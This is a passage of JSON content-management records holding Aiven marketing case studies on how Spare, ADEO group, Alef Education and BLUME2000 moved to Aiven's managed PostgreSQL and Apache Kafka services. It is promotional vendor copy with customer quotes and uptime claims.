micromobility."}],"markDefs":[],"style":"normal"}],"title":"Background","variant":"oneColumn"},{"_key":"afd150ce3c51","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"0f0fd4d7119f","_type":"block","children":[{"_key":"1d18c5c5b38a0","_type":"span","marks":[],"text":"After taking a stab at building a carpooling app for students in the Vancouver area, Spare soon stumbled upon the concept of microtransit, realizing that, with the right amount of riders, it was possible to organize a similar carpool model with smaller buses and more fluid scheduling and route options — which required system infrastructure capable of handling real-time requests at scale. "}],"markDefs":[],"style":"normal"},{"_key":"d620b3093925","_type":"block","children":[{"_key":"e52b2977a9920","_type":"span","marks":[],"text":"Additionally, the team found that the data driving their new system was more relational. CTO and co-founder Alexey Indeev elaborates, “We realized that some form of SQL database would work much better for us.” This is why they chose to use PostgreSQL."}],"markDefs":[],"style":"normal"},{"_key":"ada767ee78be","_type":"block","children":[{"_key":"58c4d3dc937c0","_type":"span","marks":[],"text":"After having switched to GCP due to CPU issues on Heroku,\nit was natural for them to use Google’s Cloud SQL. But GCP’s scheduled maintenance resulted in too much downtime — they needed more flexibility, reliability, and fault tolerance in their system."}],"markDefs":[],"style":"normal"}],"title":"Finding a niche and rebuilding the app","variant":"oneColumn"},{"_key":"1584ba8ff77b","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a3e7bddc18b8","_type":"block","children":[{"_key":"489556bff6ba0","_type":"span","marks":[],"text":"The team started looking for alternatives to GCP’s Cloud SQL, one of which was to host their own Postgres server. “We could have spun up our own that we just never upgrade, but I didn’t want anyone to have the hassle of setting up and maintaining that,” Alexey admits."}],"markDefs":[],"style":"normal"},{"_key":"462afa4f5060","_type":"block","children":[{"_key":"cd4e5e7040200","_type":"span","marks":[],"text":"So they compared three managed providers: ElephantSQL, Citus Data, and Aiven. And the most important point of comparison? Alexey explains, “The most important thing [in choosing a service] was to understand what happens when we decide to do maintenance and things like backups.”"}],"markDefs":[],"style":"normal"},{"_key":"5e2e4f65465a","_type":"block","children":[{"_key":"fa4dc1923dd50","_type":"span","marks":[],"text":"They ultimately chose Aiven for PostgreSQL because it satisfied all of their database requirements, included features such as point-in-time recovery (PITR), and the ability to scale as needed. Once they got Postgres up and running with Aiven, they started to see results."}],"markDefs":[],"style":"normal"}],"title":"Building a more robust platform","variant":"oneColumn"},{"_key":"77eb542b73c2","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"9ed4d8855325","_ref":"4K3GPjpeGuBp8GF3Ole1HA","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"de3ac1d530f5","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"c879e82ea373","_type":"block","children":[{"_key":"6085dbfa97300","_type":"span","marks":[],"text":"“The biggest thing is that when we switched to Aiven, we instantly had a more reliable service”, Alexey explains.\nNow, Spare experiences significantly less downtime during maintenance (which they can schedule with Aiven) and higher overall performance."}],"markDefs":[],"style":"normal"},{"_key":"31f1f866a1b6","_type":"block","children":[{"_key":"a2fee3bcc2810","_type":"span","marks":[],"text":"Additionally, Aiven for PostgreSQL allows them to easily monitor performance using Aiven’s built-in metrics dashboard, provision services up and down with ease, and even\nchoose where they’ll deploy a service, a critical feature in a globally-distributed system."}],"markDefs":[],"style":"normal"},{"_key":"2862992a65ff","_type":"block","children":[{"_key":"e1e7523034f60","_type":"span","marks":[],"text":"Compared to running their own PostgreSQL servers, using Aiven brings Spare cost savings. Alexey explains, “If somebody said ‘why don’t you run your own Postgres service?’ I’d say because we’d have to pay the salaries of two additional engineers.”"}],"markDefs":[],"style":"normal"},{"_key":"21961f40543c","_type":"block","children":[{"_key":"7685c91c8bc10","_type":"span","marks":[],"text":"Aiven has allowed Spare to get the most out of Postgres and focus on fast, dynamic execution instead of infrastructure. And that beats waiting for the bus."}],"markDefs":[],"style":"normal"}],"title":"More reliability, less maintenance","variant":"oneColumn"}],"contentIsGated":false,"downloadLink":"https://go.aiven.io/aiven-cs-spare-en","gatedContent":[{"_key":"9a22c3b494ca","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"dc6dde5a733a","_type":"block","children":[{"_key":"9f9e7fd7493e0","_type":"span","marks":[],"text":"Spare needed to improve the flexibility, reliability, and fault tolerance of their on-demand city transportation platform. After trying and comparing several PostgreSQL® providers that fell short of delivering on their requirements, Spare moved to Aiven for PostgreSQL."}],"markDefs":[],"style":"normal"},{"_key":"d4160313738e","_type":"block","children":[{"_key":"71f2eca168c80","_type":"span","marks":[],"text":"Aiven's managed PostgreSQL saves spare the equivalent of two engineers' work while fulfilling the requirements of their global application. Download this case study to learn more about their journey."}],"markDefs":[],"style":"normal"}],"title":"Summary","variant":"oneColumn"}],"heroSubtitle":"Spare provides a platform for building transportation services by using PostgreSQL.","heroTitle":"Spare builds city transportation systems with Aiven's help","hostProviders":[{"_key":"6eb82ed94b95","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"iframeSource":{"iframeHeight":600,"iframeSource":"https://go.aiven.io/l/890043/2020-11-06/ptv","iframeTitle":"Spare case study","title":"To read the rest of this case study, tell us a bit about yourself. Your information is not shared publicly."},"image":{"_type":"mainImage","asset":{"_ref":"image-19c2583566a2ad5c4ba8a1b0d317de4a2e427b5c-1920x1037-jpg","_type":"reference"}},"industry":[{"_id":"8430ab79-9182-48c7-a13b-a02cc260a6ba","label":"Transportation and Storage","value":"transportation-and-storage"}],"publishedAt":"2021-09-08T10:58:00.000Z","region":"AMER","seo":{"_type":"metaData","metaDescription":"Aiven for PostgreSQL® supports Spare to provide on-demand transportation services with minimal downtime and performance. Find out more in our case study.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-db7a1f760bda4ba26f53364282a758584426c65a-1200x630-jpg","_type":"reference"}},"metaTitle":"Spare builds city transportation systems with Aiven's help"},"services":[{"_key":"f9e00b61241d","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"5fccdf62c8b2","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/aiven-for-postgresql-helps-spare"},"title":"Spare"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"fr","_ref":"e385d065-242f-4480-9df7-383c7a9cae13__i18n_fr","_type":"reference"}],"_createdAt":"2022-09-19T13:50:50Z","_id":"e385d065-242f-4480-9df7-383c7a9cae13","_rev":"UPIPX87Xr8dUQrGWEJ51vv","_type":"caseStudy","_updatedAt":"2024-12-09T11:11:29Z","company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"2bf65a0f5a70","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"e12d50a7c139","_type":"block","children":[{"_key":"bc3d987d26e20","_type":"span","marks":[],"text":"ADEO group is the third-largest player in the global home improvement market. Founded in 1986 and headquartered in France, ADEO serves more than 450 million customers in 15 countries and has revolutionized home improvement and the do-it-yourself endeavor via massive scale and a simple raison d’être: “to feel useful in everything we do - useful to ourselves, to those around us, to others, and to the world.”"}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"4065132c2d97","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"b4f260f369ef","_type":"block","children":[{"_key":"6cf8df6bbad40","_type":"span","marks":[],"text":"The overarching mission runs deep in the group’s psyche and informs how things are done internally. However, with data siloed across headquarters and multiple departments in a community of 32 companies, being useful in everything is easier said than done. These entities, whose data is scattered among thousands of on-premises databases, integrate with the ADEO website as well as more than 700 brick and mortar stores."}],"markDefs":[],"style":"normal"},{"_key":"ab58c9916437","_type":"block","children":[{"_key":"c9aeb4ff2e0f0","_type":"span","marks":[],"text":"A core challenge has been the need to transform this reality into a cloud-based, unified model of data without interrupting the day-to-day data operations of a group serving millions of customers while fulfilling modern use-cases."}],"markDefs":[],"style":"normal"},{"_key":"15641296176e","_type":"block","children":[{"_key":"76dd07e24c8b0","_type":"span","marks":[],"text":"The traditional use-cases included supply chain and inventory management, service provider and customer relations — with data typically time-segmented and siloed by location. Today, the group has added real-time, comprehensive data analytics to the mix. “We’re evolving toward a data analytics-based understanding of what we sell in the store to better understand and predict the habits of our customers,” Julien Charlot, Head of Databases and Middleware says. “We want to connect the services to the goods people buy. So now, the application will really evolve; we can go from more traditional use-cases to new cloud- and platform-company use cases...and we need to be able to connect all of our applications.”"}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"90751ceceea4","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"0dce40d10347","_ref":"6eyJ8ttwrIKikUTVBeUcEL","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"58e7812b4749","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a9928d298cdb","_type":"block","children":[{"_key":"5a349ca0f88a0","_type":"span","marks":[],"text":"At the cusp of a massive transformation, the data team started running just a few Kafka services, and soon began to realize just how much more easily they could meet their goals with hosted, managed cloud services."}],"markDefs":[],"style":"normal"},{"_key":"c9aa0cd63554","_type":"block","children":[{"_key":"d6cddf8536640","_type":"span","marks":[],"text":"“One year ago, we needed our team to be able to deliver database services really, really quickly.” Julien says that once the group started to use Aiven’s managed, hosted services for use-cases across the board, “We were able to deliver databases in the cloud and set the entire transformation process within 2-3 months. Even less.”"}],"markDefs":[],"style":"normal"},{"_key":"08d78a2ddaea","_type":"block","children":[{"_key":"a8aa913df7fb0","_type":"span","marks":[],"text":"Today, ADEO group runs hundreds of Aiven services, including PostgreSQL, Elasticsearch, Redis, MySQL and Apache Kafka across headquarters as well as all business units and stores."}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"d482c7d11582","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a8d9f2b81738","_type":"block","children":[{"_key":"7cd1b2f3db8a0","_type":"span","marks":[],"text":"One major catalyst for such a quick transformation was the flexibility ensured by Aiven’s cloud-agnosticism, which helped the ADEO group avoid the pitfalls and hard-coupling of vendor lock-in. Julien explained that within certain territories, some cloud providers may not be available, but the workaround was to simply one-click deploy to a different one."}],"markDefs":[],"style":"normal"},{"_key":"bf660169bcc5","_type":"block","children":[{"_key":"943a06ce88160","_type":"span","marks":[],"text":"These capabilities are essential for a unified but globally distributed group of companies. He added, “With Aiven, we saw some features we did not see directly with the various cloud providers,” including latest versions, backup management, and end-to-end data security."}],"markDefs":[],"style":"normal"},{"_key":"79032f480913","_type":"block","children":[{"_key":"9ab675cf82240","_type":"span","marks":[],"text":"Finally, Julien emphasizes that the personable collaboration with Aiven on feature delivery is important. “For me, the relationship with Aiven is a really strong point. We can make feature requests very easily, like availability monitoring.”"}],"markDefs":[],"style":"normal"},{"_key":"9165294ceae3","_type":"block","children":[{"_key":"95a355aaad560","_type":"span","marks":[],"text":"With Aiven, the groups’ data infrastructure has advanced from a siloed, time-segmented, on-premise setup to a centrally managed, real-time, and extremely flexible cloud model, allowing development speed on an entirely new level."}],"markDefs":[],"style":"normal"},{"_key":"8bd8cf28ef09","_type":"block","children":[{"_key":"06d42595396f0","_type":"span","marks":[],"text":"For them, this was a major strategic move which, with Aiven, was surprisingly easy. With these sweeping process and resource changes, Aiven has helped the groups’ information capabilities scale to the future and beyond."}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"9a87386350d6","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"c2d8e5672a15","_ref":"3jhoeW4WtmLGAT0ZFNUpSq","_type":"reference"}],"rounded":false,"variant":"media"}],"contentIsGated":false,"gatedContent":[{"_key":"8b50d533815f","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"057748f007e1","_type":"block","children":[{"_key":"913006408cc50","_type":"span","marks":[],"text":"The ADEO group, the 3rd largest global player in the home improvement market, is powered by a single data platform requiring the sort of tight integration that enables comprehensive insights that help them serve their customers."}],"markDefs":[],"style":"normal"},{"_key":"e15db7ea6dbf","_type":"block","children":[{"_key":"ac32fb39da540","_type":"span","marks":[],"text":"Although the databases and middleware team still supports thousands of on-premise database instances, they now use Aiven’s managed services (including Apache Kafka®, PostgreSQL®, OpenSearch, MySQL® and Redis™) to provide database and messaging services to internal users across the company."}],"markDefs":[],"style":"normal"},{"_key":"ce3d046f14c6","_type":"block","children":[{"_key":"aaf1e91ad5550","_type":"span","marks":[],"text":"But that isn’t the only reason ADEO group enjoys Aiven’s hosted services. Read on to find out why else, and how they transformed their data capabilities at scale using the Aiven platform."}],"markDefs":[],"style":"normal"}],"title":"Summary","variant":"oneColumn"}],"heroSubtitle":"The global ADEO home improvement conglomerate uses an Apache Kafka driven infrastructure to enable omnichannel shopping experiences.","heroTitle":"ADEO Group connects goods to services with Aiven","hostProviders":[{"_key":"e568e6f7b829","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"iframeSource":{"iframeHeight":600,"iframeSource":"https://go.aiven.io/l/890043/2020-11-05/nyg","iframeTitle":"Adeo case study","title":"Read the rest of this case study by leaving your contact below. Your information is not shared publicly."},"image":{"_type":"mainImage","asset":{"_ref":"image-e7b4dee42866fc767de33d23af4cab54d8c6ed94-1812x978-jpg","_type":"reference"}},"industry":[{"_id":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","label":"Retail","value":"retail"}],"publishedAt":"2021-09-03T10:58:00.000Z","region":"EMEA","seo":{"_type":"metaData","metaDescription":"The global ADEO home improvement conglomerate uses an Apache Kafka driven infrastructure to enable omnichannel shopping experiences.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a7a274eab14043631aea56b083909c78f076b2f5-1200x630-jpg","_type":"reference"}},"metaTitle":"ADEO Group connects goods to services with Aiven"},"services":[{"_key":"52615196349d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"e9a4ea7bc34d","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"2e8b488f0eca","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"26cf8e2f7e6e","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},{"_key":"afe8c426e54c","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/aiven-cloud-helps-adeo"},"title":"Adeo"} {"__i18n_lang":"en","_createdAt":"2022-09-20T11:31:30Z","_id":"8c249cde-32b4-4fa0-ac28-cdcf88250c9b","_rev":"on5KSabgAN0raW406Y5151","_type":"caseStudy","_updatedAt":"2024-02-08T14:57:38Z","company":{"_ref":"4FQpR3sYxdH5OsijB9qTsa","_type":"reference"},"content":[{"_key":"8f2e71ed5edb","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"16da4e6bd27b","_type":"block","children":[{"_key":"d8c223b1c4a30","_type":"span","marks":[],"text":"Founded in 2016, Alef Education is a leading K-12 educational technology company that makes learning more personalized, engaging, and accessible for students. Its flagship product, the Alef Platform, allows students to complete exercises online and receive instant teacher feedback. The AI-powered platform also provides real-time visibility for teachers, informing them where students need additional support. It saves time and makes teaching easier as teachers can better respond to students’ needs. The platform is used by more than 1 million students in over 14,000 schools in the United Arab Emirates, the United States, Indonesia, and Morocco."}],"markDefs":[],"style":"normal"},{"_key":"b8d7a4d73f61","_type":"block","children":[{"_key":"12e7cca68da80","_type":"span","marks":[],"text":"Operating this platform at scale requires the processing and managing of an enormous amount of real-time data. When the company decided to scale its operations in 2017, it faced a daunting task: how to do so without compromising reliability and performance, even if only temporarily.\n"}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"e00691b30089","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"48a4e4344119","_type":"block","children":[{"_key":"fcfeaa1303830","_type":"span","marks":[],"text":"The learning and big data platforms at Alef Education are built around event-driven microservices. This architecture requires more effort to scale. Since data cannot be transferred across multiple microservices, processing data and ensuring a seamless, high-quality user experience is challenging."}],"markDefs":[],"style":"normal"},{"_key":"e24eecfbde28","_type":"block","children":[{"_key":"861a4ac7d8a70","_type":"span","marks":[],"text":"In addition, the company was experiencing throttling issues with the messaging broker RabbitMQ, resulting in significant performance issues that impacted real-time feedback for students on their work. To improve performance and enable scalability, Alef Education migrated to Apache Kafka, an open-source platform for distributed event streaming. The company chose to run Kafka on AWS and manage it with internal resources, which proved to be a complex undertaking. They already had various technologies in place but needed more specialized resources to manage Kafka independently."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"46c6fc759afa","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"f67c2f556157","_type":"block","children":[{"_key":"f14307a9bb160","_type":"span","marks":[],"text":"During this time, Alef Education employed around 25 engineers. Given the complexity of Kafka and the difficulty running it, Alef Education found that they needed help to support the full range of engineering required, with Kafka being the critical pain point. “I realized that running Kafka in-house would take away valuable time from our team that we could be spending on more pressing tasks,” explains Muhammad Noor, Head of Engineering at Alef Education. “So we decided to look for other options.”"}],"markDefs":[],"style":"normal"},{"_key":"8f7bc3c4fc32","_type":"block","children":[{"_key":"b5d23f7ca9d10","_type":"span","marks":[],"text":"Noor and his team set out to find a managed cloud services provider to improve the platform’s performance and came across Aiven. The team was immediately impressed by Aiven’s responsiveness, knowledge, and service maturity."}],"markDefs":[],"style":"normal"},{"_key":"2fe926c9849f","_type":"block","children":[{"_key":"e8983f0d42ef0","_type":"span","marks":[],"text":"Initially, Alef Education used Aiven for big data storage. After experiencing Aiven’s industry-leading quality of service and customer support, the company decided to migrate its entire data processing core to Apache Kafka. Aiven is now the primary way to transfer data between the student learning platform and the big data analytics engine."}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"43c9a6452199","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"6d243d516934","_type":"block","children":[{"_key":"e8ec84eeaaa70","_type":"span","marks":[],"text":"Since implementing Aiven for Kafka, Alef Education has dramatically improved its scalability and performance. It is now in an excellent position to manage increasing workloads as demand for distance learning increases. According to Noor, Aiven for Kafka has saved the Alef Education team a tremendous amount of work, allowing them to focus on more important tasks: “The team is now more focused on delivering business value rather than struggling with running various services like Kafka.” That burden has been removed, and we are spending more time delivering excellent customer service instead of dealing with ticket issues.”"}],"markDefs":[],"style":"normal"},{"_key":"d7d30cfab218","_type":"block","children":[{"_key":"ab51959270d80","_type":"span","marks":[],"text":"Alef Education was so happy with Aiven for Kafka that they also moved all of their Grafana monitoring to Aiven for Grafana. Additionally, Alef Education has dramatically reduced latency in its learning application by combining Aiven for Kafka and an Aiven Virtual Private Cloud (VPC), resulting in faster learner feedback. In the past, students had to expect a latency of three seconds when waiting for feedback. Aiven halved that."}],"markDefs":[],"style":"normal"},{"_key":"f3707047fa96","_type":"block","children":[{"_key":"c692970f4eaa0","_type":"span","marks":[],"text":"The Alef Platform has increased its reliability. By using a managed service, Alef Education can set a concrete uptime target for its platform, with Aiven reliably meeting its 99.99% uptime guarantee. This allows the company to conveniently serve over 14,000 schools without worrying about unexpected outages. It is a key differentiator, especially because many online learning platforms are prone to outages during busy times. In contrast, schools, teachers, and students using the Alef Platform can be confident in its security and reliability."}],"markDefs":[],"style":"normal"},{"_key":"c870007f15e6","_type":"block","children":[{"_key":"51fe032653e60","_type":"span","marks":[],"text":"As a bonus, Aiven has reduced its overall development costs. Previously, Alef Education’s engineers spent approximately 20 percent of their time managing Kafka. Thanks to Aiven, they no longer have to spend time on this and have more time to focus on their core business. “Onboarding Aiven was a more cost-effective solution for Alef Education than hiring our own developers - and for a more reliable, scalable service,” explains Humayun Jamal, a Cloud/DevOps Architect at Alef Education."}],"markDefs":[],"style":"normal"},{"_key":"6f9940858d95","_type":"block","children":[{"_key":"252d15c5e5d20","_type":"span","marks":[],"text":"Thanks to Aiven, the Alef Platform can now scale indefinitely and at the touch of a button. Alef Education has grown from ten schools to over 14,000 and currently processes over 4 million daily questions seamlessly and without fear of system errors and user complaints, with the support of Aiven."}],"markDefs":[],"style":"normal"},{"_key":"60a7c5d703b0","_type":"block","children":[{"_key":"6d7c435fd8eb0","_type":"span","marks":[],"text":"“Thanks to the reliability that Aiven provides, we have more confidence in our ability to scale and serve larger customers,” adds Noor. “I think that’s what people want from a managed service provider — confidence and comfort,” concludes Noor. “I would recommend Aiven to any organization looking for a managed solutions provider.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"}],"heroSubtitle":"Alef's digital learning platform runs on Apache Kafka, bringing content to learners and insights to teachers.","heroTitle":"Alef reaches over 120,000 students with Aiven","image":{"_type":"mainImage","asset":{"_ref":"image-dbb24c0d88ee96ebb8fa68d3b9cf7cbbe0944434-1920x1037-jpg","_type":"reference"}},"publishedAt":"2021-09-10T10:59:00.000Z","seo":{"_type":"metaData","metaDescription":"Alef Education uses Apache Kafka® as the heart of their blended learning platform to deliver learning content and performance results to students and teachers.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-51a6da6af18068d815976000046f8927190a1dba-1200x630-jpg","_type":"reference"}},"metaTitle":"Alef reaches over 120,000 students with Aiven"},"slug":{"_type":"slug","current":"/case-studies/aiven-for-apache-kafka-helps-alef-education"},"title":"Alef"} {"__i18n_lang":"en","_createdAt":"2023-09-07T06:14:18Z","_id":"a07e85db-f60d-4460-8a72-9384d5fde396","_rev":"7lO65z9OheRFnytB4ZNdpG","_type":"caseStudy","_updatedAt":"2023-09-07T13:15:40Z","company":{"_ref":"fbbe4379-81b9-41fd-808d-b84223814c9d","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"44b5e63b5c5c","_type":"block","children":[{"_key":"ee09f7f7053c0","_type":"span","marks":[],"text":"Leading flower retailer BLUME2000 SE needed to rebuild the legacy system underpinning its online business to improve the buying experience for its customers and enable scalability. As part of the refresh, it selected Aiven for Apache Kafka® running in Google Cloud to ensure the rapid transfer of data between applications. With the new responsive and scalable system in place, BLUME2000 SE was able to double its online business during the COVID-19 pandemic. Since then, the robust cloud data infrastructure has enabled the retailer to introduce new services and functionalities bringing new levels of customer engagement."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"bf86aea8fd6a","_type":"block","children":[{"_key":"bc2ac654a4ab0","_type":"span","marks":[],"text":"Established in 1974, BLUME2000 SE is a flower shop chain that has grown into Germany’s leading flowers and plants retailer. In addition to its 230 stores, it has a significant online business which has been running for 20 years. Competition has increased in recent years as all the major supermarkets now sell flowers in-store and online, and online-only florists have entered the market, many offering subscription services. To maintain its leadership position, BLUME2000 SE differentiates itself by providing the best possible experience to its customers, and aims to make that experience seamless across its in-store and online businesses."}],"markDefs":[],"style":"normal"}],"title":"German flower and plant retailer focused on the customer experience","variant":"oneColumn"},{"_key":"d1cd02d203a9","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-6f5907b0d39e66e2ebe93549aac4e4bf5da04a28-1600x800-webp","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"fc65dd0b8c15","_type":"block","children":[{"_key":"c19355325aee0","_type":"span","marks":[],"text":"To fulfil its customer-centric strategy, BLUME2000 SE needed to refresh the legacy infrastructure and software that underpinned its online business. Developed in-house over many years by many different people, its structure had become complex and integration with other systems or new technologies was difficult. “The legacy system wasn’t keeping pace with the business — it was hindering the buying experience for the customer and the efficiency of purchasing products for us. It was time consuming to add new features and functionality,” says Philipp Westphalen, FullStack Software Engineer, BLUME2000 SE."}],"markDefs":[],"style":"normal"},{"_key":"f8156ab0d5c2","_type":"block","children":[{"_key":"ef347285b679","_type":"span","marks":[],"text":"Westphalen’s team undertook a thorough assessment of the legacy system, created a system modernization strategy, then set about choosing the optimal technology stack. The new system was designed with self-contained systems (SCSs) communicating asynchronously to each other, ensuring scalability as the online business grew. The team also took into consideration that it would operate in a hybrid cloud environment. BLUME2000 SE had taken the strategic decision to migrate as many workloads as possible to Google Cloud, but some data and apps would remain on-premises primarily for compliance and regulatory reasons."}],"markDefs":[],"style":"normal"},{"_key":"ea95352ded38","_type":"block","children":[{"_key":"38df13c45195","_type":"span","marks":[],"text":"Apache Kafka was chosen as the best open source platform to enable near real-time communication between the SCSs and other systems, enabling data streaming at scale on Google Cloud, the public cloud of choice for BLUME2000 SE."}],"markDefs":[],"style":"normal"},{"_key":"c415807491e8","_type":"block","children":[{"_key":"95d65b6e8ca3","_type":"span","marks":[],"text":"For Westphalen’s team of developers, with limited operational knowledge, managing the Kafka clusters became challenging. “Managing Kafka is complex. Doing it by yourself is really hard,” says Westphalen. “As soon as we started using Kafka for bigger loads, we ran into trouble. We had limited resources yet we were spending a lot of time managing and fixing. We had to scale up our on-premises solution because we destroyed our clusters several times.”"}],"markDefs":[],"style":"normal"}],"title":"Legacy system unable to match the fast pace of the business","variant":"oneColumn"},{"_key":"31091664cd13","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-f6e8c26c240ebdb314af60cd96a19b8d9c476f1f-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"b5e7d503dfec","_type":"block","children":[{"_key":"fa7dc2058f810","_type":"span","marks":[],"text":"The team investigated Apache Kafka as a fully managed service and selected Aiven as the best vendor. Important criteria included the ability of BLUME2000 SE to host the Kafka clusters in Google Cloud as well as providing a Terraform interface allowing the team to orchestrate the Aiven service alongside the rest of the technology stack. The transparent, all-inclusive pricing and easy scalability of Kafka clusters were also key benefits."}],"markDefs":[],"style":"normal"},{"_key":"874c2d9c1406","_type":"block","children":[{"_key":"f553708732c8","_type":"span","marks":[],"text":"BLUME2000 SE seamlessly connected Aiven for Apache Kafka with the rest of the infrastructure underpinning the online shop. Data from nearly every transaction between services now runs through Kafka. “If a customer indicates they want to buy an item, it is written into Kafka and that data is then used by several systems such as the shipping, order history and newsletter systems,” says Westphalen. “It’s a lot of important data and it’s critical that data moves around fast and reliably.”"}],"markDefs":[],"style":"normal"},{"_key":"33c9b6cbc0b5","_type":"block","children":[{"_key":"a5c5c18e3c4c","_type":"span","marks":[],"text":"A key part of the refreshed BLUME2000 SE infrastructure is the Google BigQuery data warehouse. Apache Kafka MirrorMaker is used to replicate required data from the on-premises Kafka clusters to Aiven for Apache Kafka clusters in Google Cloud for ingestion into Google BigQuery. “We couldn’t have chosen Aiven if we couldn’t deploy in Google Cloud. Eventually, all our data infrastructure will be there,” says Westphalen."}],"markDefs":[],"style":"normal"}],"title":"Aiven provides robust data streaming with Apache Kafka","variant":"oneColumn"},{"_key":"831c289979d1","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-9c8badb30eb9df3a11a81b1b5e1ae53892bb739a-1600x900-webp","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"f4ec10ec49e6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"d49781eaab78","_type":"block","children":[{"_key":"1f3808db5ecd0","_type":"span","marks":[],"text":"Westphalen and his team no longer spend time maintaining the Kafka clusters. Aiven provides 99.99% uptime and ensures near zero downtime during maintenance operations like security patches and version upgrades. “Kafka is an important part of our data infrastructure and essential to the smooth running of the remodelled online shop,” says Westphalen. “Aiven takes care of everything — provisioning, configuration, upgrades. Kafka just works. It’s such a 